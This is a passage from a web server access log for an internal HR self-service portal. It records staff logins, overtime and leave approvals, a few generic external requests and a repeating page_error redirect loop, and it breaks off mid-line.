192.168.11.55 - - [01/Dec/2025:10:24:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.55 - - [01/Dec/2025:10:24:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE000&appdesc=%E5%8A%A9%E7%90%86%E6%A1%8C%E9%9D%A2 HTTP/1.1" 200 3394 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [01/Dec/2025:10:24:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE000&appdesc=%E5%8A%A9%E7%90%86%E6%A1%8C%E9%9D%A2 HTTP/1.1" 200 3394 192.168.11.55 - - [01/Dec/2025:10:24:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [01/Dec/2025:10:24:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.55 - - [01/Dec/2025:10:25:01 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6250218198885917 HTTP/1.1" 200 8736 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [01/Dec/2025:10:25:01 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6250218198885917 HTTP/1.1" 200 8736 192.168.11.55 - - [01/Dec/2025:10:25:05 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6250218198885917 HTTP/1.1" 200 14154 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6250218198885917" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [01/Dec/2025:10:25:05 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6250218198885917 HTTP/1.1" 200 14154 192.168.11.55 - - [01/Dec/2025:10:25:27 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4063 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [01/Dec/2025:10:25:27 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4063 192.168.11.55 - - [01/Dec/2025:10:25:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [01/Dec/2025:10:25:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 100.64.0.1 - - [01/Dec/2025:10:27:09 +0800] "GET / HTTP/1.1" 200 439 "-" "-" 100.64.0.1 - - [01/Dec/2025:10:27:09 +0800] "GET / HTTP/1.1" 200 439 192.168.12.59 - - [01/Dec/2025:10:30:33 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.12.59 - - [01/Dec/2025:10:30:33 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:10:30:34 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:10:30:34 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.12.59 - - [01/Dec/2025:10:30:47 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:10:30:47 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.12.59 - - [01/Dec/2025:10:30:47 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:10:30:47 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.12.59 - - [01/Dec/2025:10:30:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:10:30:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 100.64.0.1 - - [01/Dec/2025:10:41:32 +0800] "GET / HTTP/1.1" 200 439 "-" "Openwave/ UCWEB7.0.2.37/28/999" 100.64.0.1 - - [01/Dec/2025:10:41:32 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [01/Dec/2025:10:41:32 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Openwave/ UCWEB7.0.2.37/28/999" 100.64.0.1 - - [01/Dec/2025:10:41:32 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [01/Dec/2025:10:48:18 +0800] "\x16\x03\x01\x02" 501 206 100.64.0.1 - - [01/Dec/2025:10:48:18 +0800] "\x16\x03\x01\x02" 501 206 "-" "-" 100.64.0.1 - - [01/Dec/2025:10:48:18 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:10:48:18 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [01/Dec/2025:10:48:19 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11" 100.64.0.1 - - [01/Dec/2025:10:48:19 +0800] "GET /favicon.ico HTTP/1.1" 404 209 192.168.12.59 - - [01/Dec/2025:10:59:01 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:10:59:01 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.12.59 - - [01/Dec/2025:10:59:02 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:10:59:02 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.12.59 - - [01/Dec/2025:10:59:06 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:10:59:06 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.12.59 - - [01/Dec/2025:10:59:07 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:10:59:07 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.12.59 - - [01/Dec/2025:10:59:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:10:59:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.40.52 - - [01/Dec/2025:11:03:01 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:11:03:01 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.40.52 - - [01/Dec/2025:11:03:02 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:11:03:02 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.40.52 - - [01/Dec/2025:11:03:04 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:11:03:04 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.40.52 - - [01/Dec/2025:11:03:04 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:11:03:04 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.40.52 - - [01/Dec/2025:11:03:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:11:03:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 192.168.40.52 - - [01/Dec/2025:11:03:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12112 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:11:03:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12112 192.168.40.52 - - [01/Dec/2025:11:03:19 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 3998 "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:11:03:19 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 3998 192.168.40.52 - - [01/Dec/2025:11:03:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:11:03:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.40.52 - - [01/Dec/2025:11:03:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 144660 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:11:03:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 144660 192.168.40.52 - - [01/Dec/2025:11:03:30 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:11:03:30 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.40.52 - - [01/Dec/2025:11:03:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132654%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132654&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:11:03:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132654%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132654&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [01/Dec/2025:11:03:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:11:03:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [01/Dec/2025:11:03:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:11:03:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [01/Dec/2025:11:03:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:11:03:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [01/Dec/2025:11:03:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:11:03:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [01/Dec/2025:11:03:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:11:03:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [01/Dec/2025:11:03:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:11:03:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [01/Dec/2025:11:03:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:11:03:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [01/Dec/2025:11:03:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:11:03:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [01/Dec/2025:11:03:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:11:03:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [01/Dec/2025:11:03:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 